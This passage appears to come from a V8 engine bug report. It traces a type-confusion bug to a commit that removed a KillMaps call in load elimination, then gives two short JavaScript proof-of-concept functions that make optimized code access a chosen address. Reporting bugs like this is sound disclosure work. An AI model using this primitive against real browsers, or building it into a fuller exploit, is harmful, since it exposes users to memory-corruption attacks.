I think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b
 
Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
...
     if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
       object_maps.remove(source_map, zone());
       object_maps.insert(target_map, zone());
-      AliasStateInfo alias_info(state, object, source_map);
-      state = state->KillMaps(alias_info, zone());
-      state = state->AddMaps(object, object_maps, zone());
+      state = state->SetMaps(object, object_maps, zone());
     }
...
}
 
I think the "state->KillMaps(alias_info, zone());" was accidentally removed. This lack may lead CheckMap instructions to be removed incorrectly.
 
A PoC demonstrating type confusion:
*/
 
function opt(a, b) {
    b[0] = 0;
 
    a.length;
 
    // TransitionElementsKind
    for (let i = 0; i < 1; i++)
        a[0] = 0;
 
    // CheckMap removed, type confusion
    b[0] = 9.431092e-317;  // 0x1234567
}
 
let arr1 = new Array(1);
arr1[0] = 'a';
opt(arr1, [0]);
 
let arr2 = [0.1];
opt(arr2, arr2);
 
%OptimizeFunctionOnNextCall(opt);
 
opt(arr2, arr2);
arr2[0].x  // access 0x1234566
 
Without natives syntax:
function opt(a, b) {
    b[0] = 0;
 
    a.length;
 
    // TransitionElementsKind
    for (let i = 0; i < 1; i++)
        a[0] = 0;
 
    b[0] = 9.431092e-317;  // 0x1234567
 
    // Force optimization
    for (let i = 0; i < 10000000; i++) {
 
    }
}
 
let arr1 = new Array(1);
arr1[0] = 'a';
opt(arr1, [0]);
 
let arr2 = [0.1];
opt(arr2, arr2);
 
opt(arr2, arr2);
arr2[0].x  // access 0x1234566
